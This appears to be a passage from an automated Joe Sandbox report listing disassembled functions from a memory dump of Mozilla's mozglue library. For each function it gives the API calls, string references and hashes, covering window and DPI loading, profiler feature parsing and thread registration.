Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 84664efe8e32c0a9f1394b7394f0d12af477e7684cc5907ea1a4fe6f9181e484
Instruction ID: fc95ffd09c2dd80345907d15b17de2e06dcb4893e184e31a3b255fdd98cdc682
Opcode Fuzzy Hash: 84664efe8e32c0a9f1394b7394f0d12af477e7684cc5907ea1a4fe6f9181e484
Instruction Fuzzy Hash: 0EB27F71A056018FC308CF1AC591725FBE2BFC5324B29C75DE46A8BBA5D771E841CB8A

Function 6C6A85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A8C7C
__aulldiv.LIBCMT ref: 6C6A8DD7

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 782e6dd24626e96e92f09485896220cb92a28514848d85b7702f7d1a83c4c2ec
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 33328F71F001598BDF18CE9CC8A17AEF7B2FB88304F15853AD506BB7A0DA349D468B95

Function 6C6B76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qdl, xrefs: 6C6B7B0B, 6C6B793C, 6C6B79C0, 6C6B7E0B, 6C6B79FB, 6C6B7796

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID:
String ID: ~qdl
API String ID: 0-3120728324
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 2718f744e649668d5a597a2d62f05a50bc105ad42fdf461dc8c232eb5fedbe58
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 4E32F871E0061A8FCB14CF98C990AADFBB2FF88308F548169C549B7745D731A996CF94

Function 6C6B6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qdl, xrefs: 6C6B7B0B, 6C6B793C, 6C6B79C0, 6C6B7E0B, 6C6B79FB, 6C6B7C72, 6C6B7C03

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID:
String ID: ~qdl
API String ID: 0-3120728324
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 248e4a5dc08479e4951180b3f903db5618a8e42ba587109df43138819203ecb6
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 4722E471E002198FCB14CF98C890AADF7F2BF88304F6481AAC949B7745D731A996CF94

Function 6C685C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C654A63,?,?), ref: 6C685F06

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 5d6fac8fbd3b02fdc49d79d1f7b33ab4f41be2aa372acbb496ddfb08e4c47de1
Instruction ID: 09d7baf5898211094b3683a8a1dee50dc74cacbf3eb655d91c329092f8507cd2
Opcode Fuzzy Hash: 5d6fac8fbd3b02fdc49d79d1f7b33ab4f41be2aa372acbb496ddfb08e4c47de1
Instruction Fuzzy Hash: 37C1D375D022098BDB14CF55C5906EEBBF2FF8A318F28415DD8566BB44D732A806CFA4

Function 6C670512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 7096cd88ce8bbf4e2a1dc976ee205ef9b0bf7cc9c4b19d9876b31d452b0a7308
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 45223971E04619CFCB24CF98C890AADF7B2FF89308F548599D44AA7705D731A986CFA4

Function 6C6BAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8d5bd74635ca3708f5d2e103ff0b06b176deca7b0ccd5f70f413e03fd511940
Instruction ID: 85855c6beddebca8515a0b0ad7606806b5eb821d9b8c56be951dda5deb25fcd9
Opcode Fuzzy Hash: e8d5bd74635ca3708f5d2e103ff0b06b176deca7b0ccd5f70f413e03fd511940
Instruction Fuzzy Hash: 3CF17B716087455FD700CE28C8903AEB7E6AFC6318F148A2DE5D4A7782E374D899C796

Function 6C64C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 4a56f360fc81334f54d0db3bf708a7fe012ac1b987c043d2ef7292affbe353e0
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: D9A1A171F0061A9FDB08CE69C8913AEB7F2AFC9354F18C129D916E7781D7345C0A8B94

Function 6C6A55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C67E1A5), ref: 6C6A5606
LoadLibraryW.KERNEL32(gdi32,?,6C67E1A5), ref: 6C6A560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6A5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6A563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6A566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6A567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6A5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6A56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6A56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6A56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6A56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6A5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6A572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6A5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6A5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6A577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6A5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6A57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6A57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6A57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6A57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6A57FF

Strings

DeleteObject, xrefs: 6C6A57F9
GetMonitorInfoW, xrefs: 6C6A57A2
MonitorFromWindow, xrefs: 6C6A578D
CreateSolidBrush, xrefs: 6C6A57E4
LoadIconW, xrefs: 6C6A575B
gdi32, xrefs: 6C6A560A
EnableNonClientDpiScaling, xrefs: 6C6A5666
RegisterClassW, xrefs: 6C6A56AC
GetDpiForWindow, xrefs: 6C6A5690
SetWindowPos, xrefs: 6C6A56F7
SetWindowLongPtrW, xrefs: 6C6A57B7
GetThreadDpiAwarenessContext, xrefs: 6C6A562D
FillRect, xrefs: 6C6A5729
LoadCursorW, xrefs: 6C6A5774
AreDpiAwarenessContextsEqual, xrefs: 6C6A5637
ReleaseDC, xrefs: 6C6A5742
StretchDIBits, xrefs: 6C6A57CC
GetWindowDC, xrefs: 6C6A5710
ShowWindow, xrefs: 6C6A56DE
user32, xrefs: 6C6A5601
GetSystemMetricsForDpi, xrefs: 6C6A5677
CreateWindowExW, xrefs: 6C6A56C5

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: beca4668038f4c8de9bcc85b32bceb96f8a55f9e6ac1abbb7b42d77df4e303f3
Instruction ID: 629fb92bf2db63756211b62c32e41445cd06480e0715d013aea9499b2da5e203
Opcode Fuzzy Hash: beca4668038f4c8de9bcc85b32bceb96f8a55f9e6ac1abbb7b42d77df4e303f3
Instruction Fuzzy Hash: DB5187747117166BDB04DF768D8492A3AF8BB4A785F104425AA21E3A11EF74CE028F7E

Function 6C68CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C65582D), ref: 6C68CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C65582D), ref: 6C68CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6BFE98,?,?,?,?,?,6C65582D), ref: 6C68CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C65582D), ref: 6C68CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C65582D), ref: 6C68CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C65582D), ref: 6C68CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C65582D), ref: 6C68CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C68CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C68CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C68CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C68CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C68CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C68CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C68CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C68CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C68CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C68CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C68CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C68CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C68CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C68CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C68CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C68CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C68CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C68CE8A

Strings

cpuallthreads, xrefs: 6C68CE16
java, xrefs: 6C68CC37
fileio, xrefs: 6C68CC92
Unrecognized feature "%s"., xrefs: 6C68CEA0
leaf, xrefs: 6C68CC66
stackwalk, xrefs: 6C68CCF8
power, xrefs: 6C68CE84
ipcmessages, xrefs: 6C68CDBE
markersallthreads, xrefs: 6C68CE42
processcpu, xrefs: 6C68CE6E
default, xrefs: 6C68CC21
unregisteredthreads, xrefs: 6C68CE58
seqstyle, xrefs: 6C68CCE6
nostacksampling, xrefs: 6C68CD7C
fileioall, xrefs: 6C68CCA8
samplingallthreads, xrefs: 6C68CE2C
preferencereads, xrefs: 6C68CD92
mainthreadio, xrefs: 6C68CC7C
noiostacks, xrefs: 6C68CCBE
notimerresolutionchange, xrefs: 6C68CE00
jsallocations, xrefs: 6C68CD0E
screenshots, xrefs: 6C68CCD4
nativeallocations, xrefs: 6C68CDA8
Q^, xrefs: 6C68CD25
audiocallbacktracing, xrefs: 6C68CDD4

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$Q^$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1065946776
Opcode ID: d9d70fcd4275afe6ac223d45014a32c49d984151afa144588c643e7df3c42a35
Instruction ID: 9614f167f2b61bac3cf0e47d4ed01c3928c8e4b069b1205ac0b20d2eadd51851
Opcode Fuzzy Hash: d9d70fcd4275afe6ac223d45014a32c49d984151afa144588c643e7df3c42a35
Instruction Fuzzy Hash: 18519BC5A4722571FA1031156D20BEA1489EF5734AF508536EE07B1E80FB15B72AC7BF

Function 6C654470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6544B2,6C6CE21C,6C6CF7F8), ref: 6C65473E
Part of subcall function 6C654730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C65474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6544BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6544D2
InitOnceExecuteOnce.KERNEL32(6C6CF80C,6C64F240,?,?), ref: 6C65451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C65455C
LoadLibraryW.KERNEL32(?), ref: 6C654592
InitializeCriticalSection.KERNEL32(6C6CF770), ref: 6C6545A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6545AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6545BB
InitOnceExecuteOnce.KERNEL32(6C6CF818,6C64F240,?,?), ref: 6C654612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C654636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C654644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C65466D
VerSetConditionMask.NTDLL ref: 6C65469F
VerSetConditionMask.NTDLL ref: 6C6546AB
VerSetConditionMask.NTDLL ref: 6C6546B2
VerSetConditionMask.NTDLL ref: 6C6546B9
VerSetConditionMask.NTDLL ref: 6C6546C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6546CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6546F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6546FD

Strings

user32.dll, xrefs: 6C654557, 6C65463F
Gll, xrefs: 6C6544FC
kernel32.dll, xrefs: 6C6544CD
WRusr.dll, xrefs: 6C6544B5
l, xrefs: 6C654578
NativeNtBlockSet_Write, xrefs: 6C6546F7

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gll$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1232532251
Opcode ID: 692987472a9262210407bf68c543997b195584303b6f3f43eefd68d7a19882a6
Instruction ID: 8d4995c7679d54c4a4c0a1e39305751b23367547171ec54bff7fb83cf7ae722b
Opcode Fuzzy Hash: 692987472a9262210407bf68c543997b195584303b6f3f43eefd68d7a19882a6
Instruction Fuzzy Hash: AE6118B0704344AFEB008F62CC85BA57BB8EF46748F548499E5049B641D7F18A75CFAE

Function 6C68F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C654A68), ref: 6C68945E
Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C689470
Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C689482
Part of subcall function 6C689420: __Init_thread_footer.LIBCMT ref: 6C68949F

GetCurrentThreadId.KERNEL32 ref: 6C68F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C68F8F9

Part of subcall function 6C656390: GetCurrentThreadId.KERNEL32 ref: 6C6563D0
Part of subcall function 6C656390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6563DF
Part of subcall function 6C656390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C65640E

ReleaseSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C68F93A
GetCurrentThreadId.KERNEL32 ref: 6C68F98A
GetCurrentThreadId.KERNEL32 ref: 6C68F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C68F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C68F716

Part of subcall function 6C6894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6894EE
Part of subcall function 6C6894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C689508

Part of subcall function 6C64B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C64B5E0

GetCurrentThreadId.KERNEL32 ref: 6C68F739
AcquireSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C68F746
GetCurrentThreadId.KERNEL32 ref: 6C68F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6C385B,00000002,?,?,?,?,?), ref: 6C68F829
free.MOZGLUE(?,?,00000000,?), ref: 6C68F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C68F866
free.MOZGLUE(?), ref: 6C68FA0C

Part of subcall function 6C655E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6555E1), ref: 6C655E8C
Part of subcall function 6C655E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C655E9D
Part of subcall function 6C655E60: GetCurrentThreadId.KERNEL32 ref: 6C655EAB
Part of subcall function 6C655E60: GetCurrentThreadId.KERNEL32 ref: 6C655EB8
Part of subcall function 6C655E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C655ECF
Part of subcall function 6C655E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C655F27
Part of subcall function 6C655E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C655F47
Part of subcall function 6C655E60: GetCurrentProcess.KERNEL32 ref: 6C655F53
Part of subcall function 6C655E60: GetCurrentThread.KERNEL32 ref: 6C655F5C
Part of subcall function 6C655E60: GetCurrentProcess.KERNEL32 ref: 6C655F66
Part of subcall function 6C655E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C655F7E

free.MOZGLUE(?), ref: 6C68F9C5
free.MOZGLUE(?), ref: 6C68F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C68F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C68F71F
Thread , xrefs: 6C68F789
" attempted to re-register as ", xrefs: 6C68F858

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: b19887d64419bcdb20f3f1d0acc7142ca166cfbf07e0fd9f70d10e8e5c13fba8
Instruction ID: 2301245335364981b0b67fc26f99c7e00bed8bf53410c8d0585649b0e096f0c1
Opcode Fuzzy Hash: b19887d64419bcdb20f3f1d0acc7142ca166cfbf07e0fd9f70d10e8e5c13fba8
Instruction Fuzzy Hash: D08116716056009FDB10DF25C880AAEB7B5EFCA308F54852DE84597B52EB30D949CBAF

Function 6C68EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C654A68), ref: 6C68945E
